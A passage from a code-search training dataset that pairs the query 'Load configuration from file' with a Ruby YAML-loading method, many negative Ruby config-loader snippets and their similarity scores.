#{@randomWord}\"\n playAgain() \n \n end\n end", "def take_a_turn(input = nil)\n print \"Guess a letter: \"\n loop do\n input ||= gets.chomp.upcase\n if input == \"SAVE\"\n save_game\n puts \"GAME SAVED!\"\n break\n elsif input.length != 1 || !board.letters.include?(input)\n puts \"invalid entry. Try again: \"\n input = nil\n else\n @turns += 1\n self.letter = input\n break\n end\n end\n end", "def getGuess\n puts \"It is your turn.\"\n puts \"Which person do you want to suggest?\"\n guessSuspect = getUserInputFromArray(@suspects)\n puts \"Which location do you want to suggest?\"\n guessLocation = getUserInputFromArray(@locations)\n puts \"Which weapon do you want to suggest?\"\n guessWeapon = getUserInputFromArray(@weapons)\n\n puts \"Is this an accusation (Y/[N])?\"\n accuse = nil\n while accuse == nil\n input = gets.chomp.to_s\n if input == \"Y\" or input == \"y\"\n accuse = true\n elsif input == \"N\" or input == \"n\"\n accuse = false\n else\n accuse = nil\n puts \"Invalid input, please try again.\"\n end\n end\n return Guess.new(guessSuspect, guessLocation, guessWeapon, accuse)\n end", "def play_game\r\n\r\n word = select_word #Call on the method that retrieves a random word\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n consonants = get_consonants #Call on the method that prompts the player\r\n #to enter a list of consonants\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Call on the method that prompts the player to enter a vowel\r\n vowel = get_vowel\r\n\r\n #Remove blank spaces from the word to create a short version of the word\r\n shortWord = word.gsub(\" \", \"\")\r\n\r\n #Call the method that processes player guesses\r\n prompt_for_guess(shortWord, word, consonants, vowel)\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n end", "def prompt(digits, what, name, args = {}, &action)\n @scoped_state.sayings = [] if @scoped_state.sayings.nil?\n @scoped_state.sayings << what\n press(digits, name, args, &action)\n end" ]
[ "0.7887683", "0.76413906", "0.7537839", "0.7476759", "0.7453326", "0.7417057", "0.7355088", "0.7344044", "0.7275638", "0.7274246", "0.7226434", "0.7222999", "0.72081137", "0.7152601", "0.7064345", "0.7041464", "0.7014236", "0.6955892", "0.69475216", "0.68816847", "0.6871213", "0.6843965", "0.68338686", "0.6831558", "0.68310726", "0.6823253", "0.6819004", "0.6804881", "0.68014425", "0.67958325", "0.6777536", "0.6767211", "0.6764875", "0.67549956", "0.67467743", "0.674201", "0.6735324", "0.6714467", "0.66806924", "0.6672576", "0.66718346", "0.6670805", "0.6651955", "0.6650036", "0.6641883", "0.6633038", "0.6625366", "0.6623525", "0.66106576", "0.66035503", "0.6591613", "0.6591333", "0.65834826", "0.6559449", "0.65568686", "0.65530765", "0.65417767", "0.6538359", "0.6531354", "0.6530548", "0.65295833", "0.65294755", "0.65283406", "0.6527878", "0.65269375", "0.65239894", "0.65181273", "0.651736", "0.6508378", "0.65035516", "0.64845175", "0.6465062", "0.64645535", "0.64635134", "0.64512914", "0.64449644", "0.64431447", "0.6439897", "0.64375436", "0.64346373", "0.64344925", "0.643064", "0.6426137", "0.642571", "0.6424874", "0.6424713", "0.64212966", "0.6409398", "0.6402928", "0.63993376", "0.6397587", "0.6397446", "0.6397197", "0.63956505", "0.63940465", "0.6393144", "0.63918036", "0.6390247", "0.63882804", "0.6387919" ]
0.6636819
45
Load configuration from file
def config @config ||= YAML.load_file(@config_file_path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_config(file)\n @config = YAML.load_file(file)\n end", "def load_config_file\n require 'yaml'\n YAML.load_file(@path)\n rescue Errno::ENOENT\n return\n end", "def load_from_file filename\n fnm = File.exist?(filename) ? filename : File.join(@wd,filename)\n load_configuration(fnm)\n end", "def load_file(path)\n @configuration_data = YAML.load_file(path)[CONFIGURATION_KEY]\n end", "def load_config_file\n raise \"No config file set\" if config_file.nil?\n raise \"File #{config_file} does not exist\" unless File.file?(config_file)\n @config = YAML.load_file(config_file)\n @config_file_loaded = true\n @config.each { |k, v| send(\"#{k}=\", v) }\n end", "def load_config( filename )\n\n fullname = \"#{Rails.application.root}/config/#{filename}\"\n begin\n config_erb = ERB.new( IO.read( fullname ) ).result( binding )\n rescue StandardError => ex\n raise( \"#{filename} could not be parsed with ERB. \\n#{ex.inspect}\" )\n end\n\n begin\n yml = YAML.load( config_erb )\n rescue Psych::SyntaxError => ex\n raise \"#{filename} could not be parsed as YAML. \\nError #{ex.message}\"\n end\n\n config = yml.symbolize_keys\n @configuration = config[ Rails.env.to_sym ].symbolize_keys || {}\n end", "def load_config(config_file)\n YAML.load(File.open(config_file))\nend", "def load(file = nil)\n @file = file if file\n @cfg = YAML.load_file(@file)\n end", "def load(name)\n config_file \"#{name}\"\n end", "def load_configuration\n @config = {\n :start_date => Date.today - 1,\n :data_dir => default_data_dir\n }\n\n if File.exist?(config_file)\n @config = YAML.load_file(config_file)\n end\n\n @config\n end", "def load!(filename)\n config_file = File.open(filename).read\n config = YAML.load(config_file)\n raise ConfigError(\"unable to load config file #{filename}\") unless config\n @_config = config\n end", "def read_config_file(file); end", "def load(fn)\n if File.file?(fn)\n begin\n File.open(fn).each do |line|\n #peel off terminators/leading spaces, etc.\n line.strip!\n\n #ignore comment lines...\n if (line[0..0]!=\"#\")\n keyval = line.split(\"=\") # split on equal sign\n\n #ignore blank lines\n if keyval.size>0\n key = keyval[0].strip\n value = keyval[1].strip\n self[key] = value\n end\n end\n end\n rescue\n raise \"Error: trouble loading data from file: #{fn}.\\nDetails: #{$!}\"\n end\n else\n raise \"Error: cannot find configuration file: #{fn}.\\nDetails: File not found.\"\n end\n end", "def load config_file\n YAML.load_file(config_file).each do |parameter,value|\n instance_variable_set( \"@#{parameter}\", value )\n end\n end", "def loadFile\n file = getConfigPath\n return false unless file\n\n CliUtils::veputs(2, \"Loading #{File.basename(file)}... \" + CliUtils::NNL_MARK)\n myconf = YAML.load_file(file) rescue CliUtils.errx(EX_CONFIG, \"cannot parse config #{file}: #{$!}\")\n # preserve existing values\n @conf.merge!(myconf) {|key, oldval, newval| oldval }\n CliUtils::veputs 2, \"OK\"\n return true\n end", "def load_config(file_path)\n file = File.read(File.expand_path(file_path, __FILE__))\n yaml = YAML.load(file)\n \n # set new options\n options.keys.each do |option|\n set_option(option, yaml[option]) if !yaml[option].nil?\n end\n \n # set new settings\n settings.keys.each do |setting|\n set(setting, yaml[setting]) if !yaml[setting].nil?\n end\n end", "def load_config(file)\n file = file + '.rb' if File.extname(file) == ''\n\n if chdir\n file = File.join(chdir, file)\n else\n file = File.join('.', file)\n end\n\n if File.exist?(file)\n return require(file)\n else\n raise \"config file not found -- `#{file}'\"\n end\n end", "def load_config(filename)\n eval(File.read(filename), binding)\n end", "def parse_config_file(path)\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end", "def load_config\n config_file = File.join(Dir.home, \".assemblotron\")\n if File.exists? config_file\n @log.debug \"config file found at #{config_file}\"\n config = YAML::load_file(config_file)\n if config.nil?\n @log.warn \"config file malformed or empty\"\n return\n end\n @config = config.deep_symbolize\n end\n end", "def load\n configuration # Need to call this to make sure it's populated\n self.instance_eval(IO.read(path), path, 1) if path && File.exists?(path)\n self\n end", "def load_settings\n @settings = YAML::load(File.new(config_file, 'r'))\n end", "def read_config!\n @config = YAML.load_file(CONFIG_FILE)\n end", "def load_config\n YAML::load_file(File.join(__dir__, '../config/config.yml'))\n end", "def load\r\n\t\tload_file\r\n\t\tconfigure\r\n\tend", "def load_file(file)\n config = load_from_file(file)\n\n default_configuration.merge(config)\n rescue => error\n raise Overcommit::Exceptions::ConfigurationError,\n \"Unable to load configuration from '#{file}': #{error}\",\n error.backtrace\n end", "def load_config(config_file)\n @config = YAML.load_file config_file\n @config = Hashie::Mash.new(@config) if @config\n\n Booru.import_config @config.booru\n end", "def load_config(config_file)\n conf = File.read(config_file).lines\n .map(&:strip)\n .delete_if { |l| l.empty? || l.start_with?('#') }\n .each_with_object({}) do |line, config|\n parameter, value = line.split('=', 2)\n config[parameter.to_sym] = value\n config\n end\n conf\n end", "def load\n config_files.each do |file|\n config = YAML::load(File.open(file))\n @config.merge! config\n end\n end", "def load_conf(*path)\n manager.load_configuration(*path)\n end", "def config\n @config ||= YAML.load File.read(@config_file)\n end", "def load_config (file=CONFIG_FILE)\n\n\t\t\t\t@config = nil\n\n\t\t\t\tf = File.expand_path(file)\n\n\t\t\t\tif File.exists?(f)\n\t\t\t\t\t@config = YAML.load_file f\n\t\t\t\telse\n\t\t\t\t\tif ENV['UIRUSU_VT_API_KEY']\n\t\t\t\t\t\t@config = {}\n\t\t\t\t\t\t@config['virustotal'] = {}\n\t\t\t\t\t\t@config['virustotal']['api-key'] = ENV['UIRUSU_VT_API_KEY']\n\n\t\t\t\t\t\tif ENV['UIRUSU_VT_TIMEOUT']\n\t\t\t\t\t\t\t@config['virustotal']['timeout'] = ENV['UIRUSU_VT_TIMEOUT']\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@config['virustotal']['timeout'] = 25\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif @config == nil\n\t\t\t\t\tSTDERR.puts \"[!] #{CONFIG_FILE} does not exist. Please run #{APP_NAME} --create-config, to create it.\"\n\t\t\t\t\texit\n\t\t\t\tend\n\n\t\t\t\t@options[:timeout] = @config['virustotal']['timeout'] if @config['virustotal']['timeout'] != nil\n\t\t\tend", "def process_config_file(path)\n RFlow.logger.info \"Processing config file (#{Dir.getwd}) '#{path}'\"\n load path\n end", "def parse_from_file\n parsed_opts = YAML.load_file(config_path)\n parsed_opts.delete_if{|k| k.to_s == 'config_path'}\n parsed_opts.each_pair{|k,v| self[k] = v}\n true\n rescue Errno::ENOENT\n false\n end", "def load(options = HashWithIndifferentAccess.new)\n config = load_config_file(options[:config])\n import_config(config, options)\n end", "def config_load(config); end", "def load_conf(file=nil)\n file ||= File.join(ENV['HOME'], '.blablacar', 'conf.rc')\n begin\n $CONF = YAML.load_file(file)\n rescue Errno::ENOENT => e\n eputs(e.message)\n exit 2\n end\n end", "def load_config(file = nil)\n file ||= \"#{config_dir}/worker.rb\"\n return unless File.exists?(file)\n\n eval(IO.read(file))\n end", "def load_config_file( filename )\n\n begin\n config_erb = ERB.new( IO.read( filename ) ).result( binding )\n rescue StandardError => ex\n raise( \"#{filename} could not be parsed with ERB. \\n#{ex.inspect}\" )\n end\n\n begin\n yml = YAML.load( config_erb )\n rescue Psych::SyntaxError => ex\n raise \"#{filename} could not be parsed as YAML. \\nError #{ex.message}\"\n end\n\n config = yml.symbolize_keys\n return config.symbolize_keys || {}\n end", "def load(filename)\n\t\t\traise ArgumentError.new unless filename\n\n\t\t\toptions = YAML::load(IO.read(filename))\n\t\t\tif(options)\n\t\t\t\tself.configure(options)\n\t\t\tend\n\t\tend", "def load_config\n path = File.expand_path(@config_path)\n\n if File.exist?(path)\n file = File.new(path, \"r\")\n @config = MultiJson.decode(file.read)\n else\n load_default_config\n end\n end", "def load_config\n file = config_file\n unless file\n if chdir\n file = Dir.glob(File.join(chdir, GLOB_CONFIG)).first\n else\n file = Dir.glob(GLOB_CONFIG).first\n end\n end\n load file if file\n end", "def initialize\n @config = config_from_file || empty_config\n end", "def load(file, options = {})\n options = load_options_hash_from_file(file)\n\n if options.fetch(:merge_with_default, true)\n options = smart_merge(default_options_hash, options)\n end\n\n Config.new(options)\n end", "def load_config(file = nil)\n api_name = api.class.to_s.gsub('::', '_').gsub(/([^_A-Z])([A-Z])/,'\\1_\\2').downcase!\n file ||= \"#{config_dir}/#{api_name}.rb\"\n return unless File.exist?(file)\n\n proc = Proc.new {} # create proc to grab binding\n eval(IO.read(file), proc.binding, file)\n end", "def load_from(path)\n self.configure(Halcyon::Config::File.load(path))\n self\n end", "def load_config\n config_data = File.read(app_config_file)\n YAML.load(config_data) || {}\n end", "def load_config(file_path)\n config = OpenStruct.new\n YAML.load_file(file_path).each do |k,v|\n config.send(\"#{k}=\", v)\n end\n return config\n end", "def parse_config_file(file)\n return {} unless File.exist?(file)\n\n case File.extname(file)\n when /\\.conf$/i\n parse_conf_file(file)\n when /\\.json$/i\n Oj.load_file(file, mode: :strict, symbol_keys: true)\n when /\\.ya?ml$/i\n begin\n require 'safe_yaml/load'\n SafeYAML.load_file(file) || {}\n rescue LoadError\n # Re-raise with a more descriptive message. This should generally\n # abort the configuration loading.\n raise LoadError.new(%{Could not load the requested resource. Please install the 'safe_yaml' gem via\nBundler or directly, and try loading again.\n})\n end\n end\n end", "def load_from_file!\n return unless File.exists?(uservoice_configuration_file)\n\n config = ERB.new(IO.read(uservoice_configuration_file)).result\n configuration = YAML::load(config)\n self.merge!(configuration[\"uservoice\"])\n end", "def config\n\tYAML.load(File.open(\"config.yaml\"))\nend", "def load_file(file_path = nil)\n file_path ||= File.expand_path(\"./config.yml\") if File.exists?(\"./config.yml\")\n file_path ||= DEFAULT_CONFIG_PATH\n\n reset\n\n YAML.load_file(file_path).tap do |config|\n @artist = Coerce.string(config[\"artist\"])\n @copyright = Coerce.string(config[\"copyright\"])\n\n (config[\"cameras\"] || []).each do |camera|\n @cameras << Camera.new(camera)\n end\n end\n end", "def load_config(config_file)\n DeliveryGolang::Helpers.load_config(config_file, node)\n end", "def postgresql_conf_load_file(file)\n return unless ::File.exist?(file)\n\n ::IniFile.load(file).to_h\n end", "def load_file(file)\n config = self.class.load_from_file(file, default: false, logger: @log)\n\n self.class.default_configuration.merge(config)\n rescue => error\n raise Overcommit::Exceptions::ConfigurationError,\n \"Unable to load configuration from '#{file}': #{error}\",\n error.backtrace\n end", "def load_configuration\n config_path = options.fetch(:config_path) do\n root.join('brief.rb')\n end\n\n if config_path.exist?\n instance_eval(config_path.read)\n end\n end", "def read_config_file\n config_path = File.expand_path(File.dirname(__FILE__)+\"/../../\")\n YAML.load_file(\"#{config_path}/config/#{@type}/config.yaml\")\n end", "def load_config_file\n \tproject_name = ENV['PROJECT_NAME']\n \tconfig_file_path = \"#{@configs_folder_path}#{project_name}.yaml\"\n\tif !File.exists?(config_file_path)\n log_message(\"No '#{project_name}.yaml' file found in configs directory.\")\n exit\n end\n @config = YAML.load_file(config_file_path)\n end", "def read_configuration(filename)\n raise GaudiConfigurationError, \"Cannot load configuration.'#{filename}' not found\" unless File.exist?(filename)\n\n lines = File.readlines(filename)\n cfg_dir = File.dirname(filename)\n begin\n cfg = parse_content(lines, cfg_dir, *keys)\n rescue GaudiConfigurationError\n raise GaudiConfigurationError, \"In #{filename} - #{$!.message}\"\n end\n\n return cfg\n end", "def load_from_config_file(config_file)\n user_config_file = File.expand_path(config_file)\n\n if File.exists? user_config_file\n log \"Loading config from file: #{user_config_file}\"\n\n begin\n @config_from_file =\n instance_eval(File.read(user_config_file), user_config_file)\n log \"Got new config from file: #{user_config_file}\"\n rescue LoadError\n raise Tailor::RuntimeError,\n \"Couldn't load config file: #{user_config_file}\"\n end\n else\n abort \"No config file found at #{user_config_file}.\"\n end\n end", "def load_from(path)\n Halcyon::Config::File.load(path)\n end", "def load_config\n cfg = File.open(CONFIG) { |yf| YAML::load( yf ) } if File.exists?(CONFIG)\n # => Ensure loaded data is a hash. ie: YAML load was OK\n if cfg.class != Hash\n raise \"ERROR: Configuration - invalid format or parsing error.\"\n else\n if cfg['login'].nil?\n raise \"ERROR: Configuration: login not defined.\"\n end\n end\n\n return cfg\nend", "def load\n yaml = YAML.load_file(@file_path)\n yaml.each {|k, v| interpolate_setting(yaml, v)}\n settings = OpenStruct.new\n add_hash(settings, yaml)\n\n @lock.synchronize do\n @yaml = yaml\n @settings = settings\n end\n rescue\n puts \"Failed to load file: #{@file_path}\\n#{$!}\"\n end", "def load!( file )\n Yell.new Yell::Configuration.load!(file)\n end", "def load\n unless File.exist?(config_file)\n fail \"YAML file #{config_file} does not exist. Try 'bento-qemu init'.\"\n end\n @config = YAML.load_file(config_file)\n end", "def configure_with(file)\n config = YAML.load_file(file || DEFAULT_CONFIG_FILE)\n configure(config)\n rescue Errno::ENOENT\n #puts 'YAML configuration file couldn\\'t be found. Using defaults.'\n rescue Psych::SyntaxError\n #puts 'YAML configuration file contains invalid syntax. Using defaults'\n end", "def load_config_file!(file=nil)\n @set_params = {}\n if file.nil?\n if defined?(Rails)\n file = \"#{Rails.root}/config/clicky-api.yml\"\n else\n return nil ## perhaps this should throw here?\n end\n end\n config = YAML.load_file(file) || {}\n ClickyAPI.set_params!(config)\n end", "def load_from_file(filename, environment)\n if File.exist?( filename ) then\n @loaded_from = filename\n configuration = YAML.load_file(filename)\n if environment_based?\n configuration = configuration[environment] or raise Error, \"environment #{environment} \" +\n \"not found in #{filename}\"\n configuration\n end\n keys.each do |k|\n raise Error, \"key missing: #{k}\" unless configuration.has_key?( k )\n end\n configuration.extend(AlternateConfig)\n configuration.config_file = self\n configuration\n else\n raise Error, \"file not found: #{filename}\"\n end\n end", "def config\n ensure_config_exists\n @config ||= (YAML.load_file(config_file) || {})\n end", "def parse(file_name)\n raise Mongify::ConfigurationFileNotFound, \"File #{file_name} is missing\" unless File.exists?(file_name)\n config = self.new\n config.instance_eval(File.read(file_name))\n config\n end", "def config\n @config ||= YAML.load_file @options[:config_file]\n end", "def load_file(config_file)\n return unless File.exists?(config_file)\n\n file_data = YAML.load_file(config_file) || {}\n\n # set up required keys\n file_data['required'] ||= []\n file_data['required'].each do |key|\n required.push(Util.normalize(key))\n end\n\n # load up the environment-specific data\n file_data['environments'] ||= {}\n @data = file_data['environments'][environment] || {}\n end", "def load()\n\n checkFileExists()\n loadConfigs()\n checkConfigs() \n end", "def load_config(config_file)\n if !(hash = YAML.load_file(config_file))\n raise(ConfigError, \"Config file [#{config_file}] contains no options.\")\n end\n \n debug(\"Config options:\")\n debug(\"\") \n hash.each do |key, val|\n debug(\"#{key}: #{val}\") \n if CONFIG_OPTIONS.include?(key.to_sym)\n self.send(\"#{key}=\", val)\n else\n raise(ConfigError, \"Unrecognized Option: #{key}\")\n end\n end\n end", "def load_config(filename)\n\t\t\tconfig = read_config(filename)\n\t\t\t@servers = config[:servers]\n\t\t\t@email_addr = config[:email][:addr]\n\t\t\t@email_sender = config[:email][:sender]\n\t\tend", "def load_config(config_file, env_key = :test)\n config_file = File.expand_path(config_file)\n config_hash = symbolize_keys(YAML.load(ERB.new(File.read(config_file)).result))[env_key]\n configure_ports(config_hash)\n self.config = config_hash || {}\n rescue Errno::ENOENT\n raise Riak::TestServer::MissingConfiguration.new(config_file)\n end", "def load_config(configfile)\n config = YAML.load_file(configfile)\n config.each { |key, value|\n instance_variable_set(\"@#{key}\", value) \n }\n end", "def load_config_from_file(file)\n f = File.open(file, \"r\")\n f.each_line do |line|\n field,value = line.split('=')\n next if field.nil? or value.nil?\n field.strip!.downcase!\n value.strip!\n next unless CONFIG_OPTS.include?(field)\n @options[field] =\n if field == 'ec2_private_key' then set_ec2_private_key(value)\n elsif field == 'aws_access_key' then set_aws_access_key(value)\n elsif field == 'aws_secret_key' then set_aws_secret_key(value)\n elsif field == 'aws_region' then set_aws_region(value)\n else puts \"No such option #{field} skipping...\"\n end\n end\n end", "def load_config_file( file_name, options = {} )\n options.symbolize_keys!\n content = File.read( config_file_name( file_name ) )\n\n format = options[:format] || File.extname( file_name ).gsub('.','')\n require 'erb'\n\n content = case format.to_s\n when '', 'yml', 'yaml' then YAML.load( ERB.new( content ).result )\n when 'js', 'json' then JSON.load( content )\n when 'rb', 'ruby', 'eval' then eval( content )\n else content\n end if content && format && !options[:raw]\n\n if content.is_a?( Hash )\n content = format_hash_keys( content, options[:key_format] || :stringify )\n content = search_key_chain( content, options )\n end\n\n content\n rescue => e\n log( :info, \"Unable to load #{file_name} for #{format}\" )\n raise( e ) if options[:required]\n nil\n end", "def load_config(filename = nil)\n return if filename.nil? || filename.empty?\n self.config = { domain: [], sub: [] }\n File.foreach(filename) do |line|\n action, params = config_parse(line)\n if action == :domain\n config_domain(*params)\n elsif action == :substitution\n config_substitution(*params)\n end\n end\n end", "def load_config(file)\n @@config = YAML.load_file(file)\n @@global_config = @@config['global']\n @@loops_config = @@config['loops']\n\n @@logger = create_logger('global', global_config)\n end", "def load_config( name )\n config = INI.load_file( name )\n config\nend", "def load(filename)\n @config.load(filename)\n @rules.concat(@config.rules)\n self\n end", "def load_config!\n cfg_data = begin\n YAML.load(File.open(CONFIG_DIR + GLOBAL_CONFIG))\n rescue Errno::ENOENT\n Hash.new\n end\n __load_config(DEFAULTS.merge(cfg_data))\n end", "def load_configuration\n config = options[\"config\"]\n return unless config\n\n Mihari.load_config_from_yaml config\n Database.connect\n end", "def load\n $LOG.debug \"Config::load\"\n\n filepath = cfgFilePath(\"pdconfig.yml\")\n if(!File.exists?( filepath )) # TODO: This needs to be moved into KtCfg.\n $LOG.debug \"Config file does not exist. Returning default config obj.\"\n return @cfg\n end\n\n @cfg = read(\"pdconfig.yml\")\n end", "def read_config config_path = ''\n return nil if config_path.empty?\n return nil unless File.file?(config_path)\n YAML.safe_load(File.read(config_path))\n end", "def load_config(config_file)\n begin\n $test_config=YAML::load(YAML::load_file(config_file))\n rescue Exception => e\n puts \"Error: #{e} while loading the configuration file, please specify valid yaml file\"\n end\n end", "def load(config_file)\n @config = YAML.load_file(config_file)\n @config = config[::Rails.env] if defined? ::Rails\n check_config_and_export_to_env\n end", "def fetch_config\n Rails.logger.debug \"Loading #{@file}::#{@env}\" if Object.const_defined?('Rails') && Rails.logger.present?\n YAML::load_file(@file)[@env.to_s]\n end", "def initialize(file = DEFAULTS['cfg'])\n @everything = YAML.load(ERB.new(IO.read(file)).result)\n raise \"malformed yarb config\" unless @everything.is_a?(Hash)\n @config = DEFAULTS.merge(@everything[RAILS_ENV] || {})\n rescue\n puts \"error reading config file: #{$!}, using defaults\"\n @config = DEFAULTS\n end", "def load_config\n if ::File.file?(CONFIG_PATH)\n config = ::OpenStruct.new\n config.reflected_validations = @@reflected_validations\n silence_warnings do\n eval(::IO.read(CONFIG_PATH), binding, CONFIG_PATH)\n end\n end\n end", "def load_config!\n return unless options.empty?\n\n data = ::YAML.load_file(File.open(\"#{directory.path}/supernova.yml\", \"r\"))\n load_paths.push(*data.fetch(\"load_paths\", []))\n\n load_paths.map! do |path|\n File.absolute_path(path, directory.path)\n end\n\n @options = data\n end", "def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end", "def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end", "def load_config(path=nil)\n\t\tbegin\n\t\t\tconf = Msf::Config.load(path)\n\t\trescue\n\t\t\twlog(\"Failed to load configuration: #{$!}\")\n\t\t\treturn\n\t\tend\n\n\t\t# If we have configuration, process it\n\t\tif (conf.group?(ConfigGroup))\n\t\t\tconf[ConfigGroup].each_pair { |k, v|\n\t\t\t\tcase k.downcase\n\t\t\t\t\twhen \"activemodule\"\n\t\t\t\t\t\trun_single(\"use #{v}\")\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\tend", "def read_config_file; end", "def load(file)\n unless File.exist?(file)\n raise ConfigError.new(File.dirname(file)),\n \"expected an autoproj configuration in #{File.dirname(file)}, \"\\\n \"but #{file} does not exist\"\n end\n\n data = Autoproj.in_file(file, Autoproj::YAML_LOAD_ERROR) do\n YAML.safe_load(File.read(file)) || {}\n end\n\n if data[\"layout\"]&.member?(nil)\n Autoproj.warn \"There is an empty entry in your layout in #{file}. All empty entries are ignored.\"\n data[\"layout\"] = data[\"layout\"].compact\n end\n\n @file = file\n initialize_from_hash(data)\n end", "def read_config_files\n load_config_files\n end", "def load_config_from_file\n # Useful for testing or embedding credentials - although as always \n # it is not recommended to embed any kind of credentials in source code for security reasons\n return { :piwik_url => PIWIK_URL, :auth_token => PIWIK_TOKEN } if PIWIK_URL.present? and PIWIK_TOKEN.present?\n config = {}\n if defined?(RAILS_ROOT) and RAILS_ROOT != nil\n home = RAILS_ROOT\n filename = \"config/piwik.yml\"\n else\n home = ENV['HOME'] || ENV['USERPROFILE'] || ENV['HOMEPATH'] || \".\"\n filename = \".piwik\"\n end\n temp_config = if File.exists?(File.join(home,filename))\n YAML::load(open(File.join(home,filename)))\n else\n open(File.join(home,filename),'w') { |f| f.puts @@template }\n YAML::load(@@template)\n end\n temp_config.each { |k,v| config[k.to_sym] = v } if temp_config\n if config[:piwik_url] == nil || config[:auth_token] == nil\n if defined?(RAILS_ROOT) and RAILS_ROOT != nil\n raise MissingConfiguration, \"Please edit ./config/piwik.yml to include your piwik url and auth_key\"\n else\n raise MissingConfiguration, \"Please edit ~/.piwik to include your piwik url and auth_key\"\n end\n\n end\n config\n end" ]
[ "0.82215965", "0.8170373", "0.8109283", "0.80555797", "0.8050724", "0.79680526", "0.77575", "0.7717083", "0.77039105", "0.7680567", "0.7673431", "0.75970244", "0.7590911", "0.75882334", "0.75785476", "0.75683767", "0.7566534", "0.7559168", "0.754216", "0.7531337", "0.7518861", "0.75046724", "0.7498267", "0.74915534", "0.74728984", "0.7468082", "0.7445913", "0.7428566", "0.74236405", "0.7418124", "0.7403703", "0.73970425", "0.7382019", "0.73812556", "0.7378011", "0.73744404", "0.73665965", "0.73577774", "0.7353819", "0.73393893", "0.7321309", "0.7320493", "0.7308639", "0.7297378", "0.7290595", "0.7287007", "0.7273383", "0.72688246", "0.724645", "0.7237113", "0.72213817", "0.721214", "0.7204339", "0.7204098", "0.71974427", "0.7193439", "0.7190971", "0.71842295", "0.7181483", "0.7172677", "0.7169231", "0.7169168", "0.7165285", "0.7156417", "0.7145788", "0.71396476", "0.71292067", "0.7121157", "0.71187997", "0.7118488", "0.7098126", "0.7090044", "0.7085562", "0.70784605", "0.70741713", "0.7061967", "0.7061714", "0.70501214", "0.7042992", "0.70372564", "0.7021281", "0.7021134", "0.70196086", "0.7001582", "0.69989777", "0.69971365", "0.6991431", "0.6990722", "0.6987209", "0.6970145", "0.6967409", "0.6966118", "0.696487", "0.69593596", "0.69593596", "0.69541323", "0.69471717", "0.6946111", "0.6940186", "0.69371957" ]
0.744123
27
Return an object with reader method for allowed, path and patterns attributes builded from configuration file. Merge from configuration file in following order: repository_owner/repository_name repository_owner/repository_name repository_owner/ repository_owner/ repository_owner/ /
def repository_info(repository_owner, repository_name, reload = false) if @repository_info.nil? || reload @repository_info = {} @repository_info.default_proc = proc {|hash, repository| hash[repository] = RepositoryInfo.new(false, nil, {}) matches = (config['repositories'] || {}).select do |pattern, value| repository =~ /^#{ pattern.gsub(/^([^\/]+\/)??\*+/, '\1[^/]+').gsub(/\*+/, '[^/]*') }$/ end exact_match = matches.delete(repository) || {} hash[repository].members.each do |key| matches.sort {|a, b| a.first <=> b.first }.map {|v| v.last}.each do |match| hash[repository][key] = match[key.to_s] if match.has_key?(key.to_s) && !match[key.to_s].nil? end hash[repository][key] = exact_match[key.to_s] if exact_match.has_key?(key.to_s) && !exact_match[key.to_s].nil? end hash[repository].freeze hash[repository] } end @repository_info["#{repository_owner}/#{repository_name}"] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def resolve_config(**attrs)\n config = config_defaults.merge(attrs.transform_keys(&:to_s))\n file_path = File.join(config['root'], config['config_path'])\n file_config = config_from_file(file_path, mode: config['mode'])\n new DEFAULT_CONFIG.merge(file_config).merge(config_from_env).merge(config)\n end", "def read_configuration filename\n puts \"Reading configuration from #{filename}\"\n lines=File.readlines(filename)\n cfg={}\n #change in the dir of the file to calculate paths correctly\n cfg_dir=File.dirname(filename)\n lines.each do |l|\n l.gsub!(\"\\t\",\"\")\n l.chomp!\n #ignore if it starts with a hash\n unless l=~/^#/ || l.empty?\n #clean up by trimming whitespaces\n l.gsub!(/\\s*=\\s*/,'=')\n l.gsub!(/\\s*,\\s*/,',')\n #\n if l=~/=$/\n trailing_equals=true\n end\n #split on equals\n fields=l.split('=')\n #more than one part needed\n if fields.size>1\n #the key is the first\n key=fields.first\n #take the key out of the array\n values=fields.drop(1)\n #the value to each key is the values array joined with space\n case key \n when \"include\",\"depend\",\"interface\",\"external\" \n cfg[key]||=[]\n #here we want to handle a comma separated list of prefixes\n incs=values.join\n cfg[key]+=incs.split(',')\n cfg[key].uniq!\n when \"out_dir\",\"base_dir\",\"model\" \n cfg[key]=File.expand_path(File.join(cfg_dir,values.join))\n else\n cfg[key]=values.join('=')\n end#case\n cfg[key]<<'=' if trailing_equals\n else\n puts \"ERROR - Configuration syntax error in #{filename}:\\n'#{l}'\"\n end#if size>1\n end#unless\n end#lines.each\n return cfg\nend", "def read_config_file; end", "def read_configuration\n @config = {}\n @config_paths.map do |file|\n @section = nil; @pattern = nil; @mailto = nil\n # section, pattern, mailto are reset for every file (but not when included by 'include')\n parse_file( file )\n end.join($/)\n end", "def find_config(file); end", "def get_config(*arguments)\n \t\targs = arguments.clone\n \t\t@config ||= {}\n \t\topt = args.rfm_extract_options!\n \t\tstrings = opt[:strings].rfm_force_array || []\n \t\tsymbols = opt[:use].rfm_force_array || []\n \t\tobjects = opt[:objects].rfm_force_array || []\n \t\targs.each do |arg|\n \t\t\tcase true\n \t\t\twhen arg.is_a?(String) ; strings << arg\n \t\t\twhen arg.is_a?(Symbol) ; symbols << arg\n \t\t\telse objects.unshift arg\n \t\t\tend\n \t\tend\n\n\t\t\trslt = config_merge_with_parent(symbols).merge(opt)\n\t\t\t#using = rslt[:using].rfm_force_array\n\t\t\tsanitize_config(rslt, CONFIG_DONT_STORE, false)\n\t\t\trslt[:using].delete \"\"\n\t\t\trslt[:parents].delete \"\"\n\t\t\trslt.merge(:strings=>strings, :objects=>objects)\n \tend", "def configuration\n\t\t\t\tconfiguration = 